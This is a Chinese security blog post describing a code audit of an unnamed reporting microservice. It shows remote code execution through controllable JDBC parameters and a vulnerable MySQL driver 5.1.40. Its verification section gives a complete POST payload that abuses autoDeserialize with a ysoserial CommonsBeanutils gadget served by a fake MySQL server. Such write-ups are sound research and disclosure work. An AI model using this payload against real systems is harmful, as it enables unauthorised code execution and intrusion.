某报表微服务Rce审计过程

admin 2023年12月7日09:15:28评论36 views字数 831阅读2分46秒阅读模式

免责声明:

本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。

0x01 审计过程

经过略微的翻看,在一个业务逻辑层的saveDBInfo方法中发现有一个数据库文件配置操作,其流程如下

参数传进saveConfig进行处理

某报表微服务Rce审计过程

参数中可以看到是jdbc所需的各类参数,由于DBconfig是以参数的方式传递的,所以参数都是可控

某报表微服务Rce审计过程

在saveConfig方法中,把参数保存到配置文件前会对传进的参数做一次测试连接

某报表微服务Rce审计过程

testConnect方法:

某报表微服务Rce审计过程

而该应用默认带有一个含有漏洞版本的mysqlDriver 5.1.40

某报表微服务Rce审计过程

由于参数可控导致可以利用mysql jdbc反序列化漏洞进行攻击



0x02 验证

拼接参数

{"dbType":"","driverClassName":" ","url":"","userName":"","password":""}



使用MySQL_Fake_Server工具启动一个服务

利用依赖中的cb链执行命令


POST /config/savedbinfo           {"dbType":"mysql","driverClassName":"com.mysql.jdbc.JDBC4Connection","url":"jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true ","userName":"yso_CommonsBeanutils192NOCC_calc","password":"AA"}

某报表微服务Rce审计过程

原文始发于微信公众号(Lambda小队):某报表微服务Rce审计过程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月7日09:15:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某报表微服务Rce审计过程https://cn-sec.com/archives/2275479.html

发表评论

匿名网友 填写信息